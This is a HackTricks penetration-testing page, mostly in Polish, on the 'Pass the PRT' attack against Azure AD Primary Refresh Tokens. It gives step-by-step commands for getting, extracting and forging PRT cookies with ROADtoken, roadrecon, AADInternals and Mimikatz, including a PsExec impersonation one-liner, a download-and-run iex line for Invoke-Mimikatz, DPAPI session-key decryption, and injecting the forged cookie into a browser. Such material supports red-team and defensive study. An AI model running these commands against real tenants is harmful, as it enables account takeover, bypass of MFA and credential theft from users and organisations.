Az - Pass the PRT

Wsparcie HackTricks

Co to jest PRT

Sprawdź, czy masz PRT

Dsregcmd.exe /status

W sekcji Stanu SSO powinieneś zobaczyć AzureAdPrt ustawione na TAK.

W tym samym wyniku możesz również zobaczyć, czy urządzenie jest dołączone do Azure (w polu AzureAdJoined):

Ciasteczko PRT

Ciasteczko PRT nazywa się właściwie x-ms-RefreshTokenCredential i jest to JSON Web Token (JWT). JWT zawiera 3 części, nagłówek, ładunek i podpis, podzielone przez . i wszystkie zakodowane w bezpiecznym dla URL formacie base64. Typowe ciasteczko PRT zawiera następujący nagłówek i ciało:

{
"alg": "HS256",
"ctx": "oYKjPJyCZN92Vtigt/f8YlVYCLoMu383"
}
{
"refresh_token": "AQABAAAAAAAGV_bv21oQQ4ROqh0_1-tAZ18nQkT-eD6Hqt7sf5QY0iWPSssZOto]<cut>VhcDew7XCHAVmCutIod8bae4YFj8o2OOEl6JX-HIC9ofOG-1IOyJegQBPce1WS-ckcO1gIOpKy-m-JY8VN8xY93kmj8GBKiT8IAA",
"is_primary": "true",
"request_nonce": "AQABAAAAAAAGV_bv21oQQ4ROqh0_1-tAPrlbf_TrEVJRMW2Cr7cJvYKDh2XsByis2eCF9iBHNqJJVzYR_boX8VfBpZpeIV078IE4QY0pIBtCcr90eyah5yAA"
}

The actual Primary Refresh Token (PRT) is encapsulated within the refresh_token, which is encrypted by a key under the control of Azure AD, rendering its contents opaque and undecryptable to us. The field is_primary signifies the encapsulation of the primary refresh token within this token. To ensure that the cookie remains bound to the specific login session it was intended for, the request_nonce is transmitted from the logon.microsoftonline.com page.

The LSASS process will send to the TPM the KDF context, and the TPM will used session key (gathered when the device was registered in AzureAD and stored in the TPM) and the previous context to derivate a key, and this derived key is used to sign the PRT cookie (JWT).

The KDF context is a nonce from AzureAD and the PRT creating a JWT mixed with a context (random bytes).

Therefore, even if the PRT cannot be extracted because it's located inside the TPM, it's possible to abuseLSASS to request derived keys from new contexts and use the generated keys to sign Cookies.

PRT Abuse Scenarios

As a regular user it's possible to request PRT usage by asking LSASS for SSO data. This can be done like native apps which request tokens from Web Account Manager (token broker). WAM pasess the request to LSASS, which asks for tokens using signed PRT assertion. Or it can be down with browser based (web) flows where a PRT cookie is used as header to authenticate requests to Azure AS login pages.

As SYSTEM you could steal the PRT if not protected by TPM or interact with PRT keys in LSASS using crypto APIs.

Pass-the-PRT Attack Examples

Attack - ROADtoken

For more info about this way check this post. ROADtoken will run BrowserCore.exe from the right directory and use it to obtain a PRT cookie. This cookie can then be used with ROADtools to authenticate and obtain a persistent refresh token.

To generate a valid PRT cookie the first thing you need is a nonce. You can get this with:

$TenantId = "19a03645-a17b-129e-a8eb-109ea7644bed"
$URL = "https://login.microsoftonline.com/$TenantId/oauth2/token"

$Params = @{
"URI"     = $URL
"Method"  = "POST"
}
$Body = @{
"grant_type" = "srv_challenge"
}
$Result = Invoke-RestMethod @Params -UseBasicParsing -Body $Body
$Result.Nonce
AwABAAAAAAACAOz_BAD0_8vU8dH9Bb0ciqF_haudN2OkDdyluIE2zHStmEQdUVbiSUaQi_EdsWfi1 9-EKrlyme4TaOHIBG24v-FBV96nHNMgAA

Lub używając roadrecon:

roadrecon auth prt-init

Następnie możesz użyć roadtoken, aby uzyskać nowy PRT (uruchom w narzędziu z procesu użytkownika, którego chcesz zaatakować):

.\ROADtoken.exe <nonce>

Jako jednowiersz:

Invoke-Command - Session $ps_sess -ScriptBlock{C:\Users\Public\PsExec64.exe - accepteula -s "cmd.exe" " /c C:\Users\Public\SessionExecCommand.exe UserToImpersonate C:\Users\Public\ROADToken.exe AwABAAAAAAACAOz_BAD0__kdshsy61GF75SGhs_[...] > C:\Users\Public\PRT.txt"}

Następnie możesz użyć wygenerowanego ciasteczka do generowania tokenów do logowania za pomocą Azure AD Graph lub Microsoft Graph:

# Generate
roadrecon auth --prt-cookie <prt_cookie>

# Connect
Connect-AzureAD --AadAccessToken <token> --AccountId <acc_ind>

Atak - Użycie roadrecon

Atak - Użycie AADInternals i wyciekniętego PRT

Get-AADIntUserPRTToken pobiera token PRT użytkownika z komputera dołączonego do Azure AD lub dołączonego w trybie hybrydowym. Używa BrowserCore.exe, aby uzyskać token PRT.

# Get the PRToken
$prtToken = Get-AADIntUserPRTToken

# Get an access token for AAD Graph API and save to cache
Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken

Lub jeśli masz wartości z Mimikatz, możesz również użyć AADInternals do wygenerowania tokena:

# Mimikat "PRT" value
$MimikatzPRT="MC5BWU..."

# Add padding
while($MimikatzPrt.Length % 4) {$MimikatzPrt += "="}

# Decode
$PRT=[text.encoding]::UTF8.GetString([convert]::FromBase64String($MimikatzPRT))

# Mimikatz "Clear key" value
$MimikatzClearKey="37c5ecdfeab49139288d8e7b0732a5c43fac53d3d36ca5629babf4ba5f1562f0"

# Convert to Byte array and B64 encode
$SKey = [convert]::ToBase64String( [byte[]] ($MimikatzClearKey -replace '..', '0x$&,' -split ',' -ne ''))

# Generate PRTToken with Nonce
$prtToken = New-AADIntUserPRTToken -RefreshToken $PRT -SessionKey $SKey -GetNonce
$prtToken
## You can already use this token ac cookie in the browser

# Get access token from prtToken
$AT = Get-AADIntAccessTokenForAzureCoreManagement -PRTToken $prtToken

# Verify access and connect with Az. You can see account id in mimikatz prt output
Connect-AzAccount -AccessToken $AT -TenantID <tenant-id> -AccountId <acc-id>

Przejdź do https://login.microsoftonline.com, wyczyść wszystkie ciasteczka dla login.microsoftonline.com i wprowadź nowe ciasteczko.

Name: x-ms-RefreshTokenCredential
Value: [Paste your output from above]
Path: /
HttpOnly: Set to True (checked)

Then go to https://portal.azure.com

Reszta powinna być domyślnymi ustawieniami. Upewnij się, że możesz odświeżyć stronę i ciasteczko nie znika; jeśli tak, mogłeś popełnić błąd i musisz przejść przez proces ponownie. Jeśli nie znika, powinno być w porządku.

Atak - Mimikatz

Kroki

  1. PRT (Primary Refresh Token) jest wyodrębniany z LSASS (Local Security Authority Subsystem Service) i przechowywany do późniejszego użycia.

  2. Następnie wyodrębniany jest Klucz Sesji. Ponieważ klucz ten jest początkowo wydawany, a następnie ponownie szyfrowany przez lokalne urządzenie, wymaga odszyfrowania przy użyciu klucza głównego DPAPI. Szczegółowe informacje na temat DPAPI (Data Protection API) można znaleźć w tych zasobach: HackTricks, a aby zrozumieć jego zastosowanie, zapoznaj się z atakiem Pass-the-cookie.

  3. Po odszyfrowaniu Klucza Sesji, uzyskiwany jest klucz pochodny i kontekst dla PRT. Są one kluczowe dla utworzenia ciasteczka PRT. Konkretnie, klucz pochodny jest używany do podpisania JWT (JSON Web Token), które stanowi ciasteczko. Szczegółowe wyjaśnienie tego procesu zostało przedstawione przez Dirka-jana, dostępne tutaj.

Zauważ, że jeśli PRT znajduje się w TPM, a nie w lsass, mimikatz nie będzie w stanie go wyodrębnić. Jednak możliwe będzie uzyskanie klucza z klucza pochodnego z kontekstu z TPM i użycie go do podpisania ciasteczka (sprawdź opcję 3).

Możesz znaleźć szczegółowe wyjaśnienie przeprowadzonego procesu w celu wyodrębnienia tych szczegółów tutaj: https://dirkjanm.io/digging-further-into-the-primary-refresh-token/

To nie zadziała dokładnie po poprawkach z sierpnia 2021 roku, aby uzyskać tokeny PRT innych użytkowników, ponieważ tylko użytkownik może uzyskać swój PRT (lokalny administrator nie może uzyskać PRT innych użytkowników), ale może uzyskać swój.

Możesz użyć mimikatz do wyodrębnienia PRT:

mimikatz.exe
Privilege::debug
Sekurlsa::cloudap

# Or in powershell
iex (New-Object Net.Webclient).downloadstring("https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Invoke-Mimikatz.ps1")
Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::cloudap"'

(Images from https://blog.netwrix.com/2023/05/13/pass-the-prt-overview)

Skopiuj część oznaczoną jako Prt i zapisz ją. Wyodrębnij również klucz sesji (KeyValue pola ProofOfPossesionKey), który możesz zobaczyć wyróżniony poniżej. Jest on zaszyfrowany i będziemy musieli użyć naszych kluczy głównych DPAPI, aby go odszyfrować.

Jeśli nie widzisz żadnych danych PRT, może to oznaczać, że nie masz żadnych PRT, ponieważ twoje urządzenie nie jest dołączone do Azure AD lub możesz uruchamiać starą wersję systemu Windows 10.

Aby odszyfrować klucz sesji, musisz podnieść swoje uprawnienia do SYSTEM, aby działać w kontekście komputera i móc użyć klucza głównego DPAPI do odszyfrowania go. Możesz użyć następujących poleceń, aby to zrobić:

token::elevate
dpapi::cloudapkd /keyvalue:[PASTE ProofOfPosessionKey HERE] /unprotect

Opcja 1 - Pełny Mimikatz

  • Teraz chcesz skopiować zarówno wartość Context:

  • Jak i wartość klucza pochodnego:

  • Na koniec możesz użyć wszystkich tych informacji do generowania ciasteczek PRT:

Dpapi::cloudapkd /context:[CONTEXT] /derivedkey:[DerivedKey] /Prt:[PRT]
Name: x-ms-RefreshTokenCredential
Value: [Paste your output from above]
Path: /
HttpOnly: Set to True (checked)

Reszta powinna być domyślnymi ustawieniami. Upewnij się, że możesz odświeżyć stronę i ciasteczko nie znika; jeśli tak, mogłeś popełnić błąd i musisz przejść przez proces ponownie. Jeśli nie znika, powinno być w porządku.

Opcja 2 - roadrecon używając PRT

  • Najpierw odnowić PRT, co zapisze go w roadtx.prt:

roadtx prt -a renew --prt <PRT From mimikatz> --prt-sessionkey <clear key from mimikatz>
  • Teraz możemy zażądać tokenów za pomocą interaktywnej przeglądarki z roadtx browserprtauth. Jeśli użyjemy polecenia roadtx describe, zobaczymy, że token dostępu zawiera roszczenie MFA, ponieważ PRT, którego użyłem w tym przypadku, również miało roszczenie MFA.

roadtx browserprtauth
roadtx describe < .roadtools_auth

Opcja 3 - roadrecon używając kluczy pochodnych

Mając kontekst i klucz pochodny zrzutowany przez mimikatz, możliwe jest użycie roadrecon do wygenerowania nowego podpisanego ciasteczka z:

roadrecon auth --prt-cookie <cookie> --prt-context <context> --derives-key <derived key>

Odniesienia

Wsparcie HackTricks

Last updated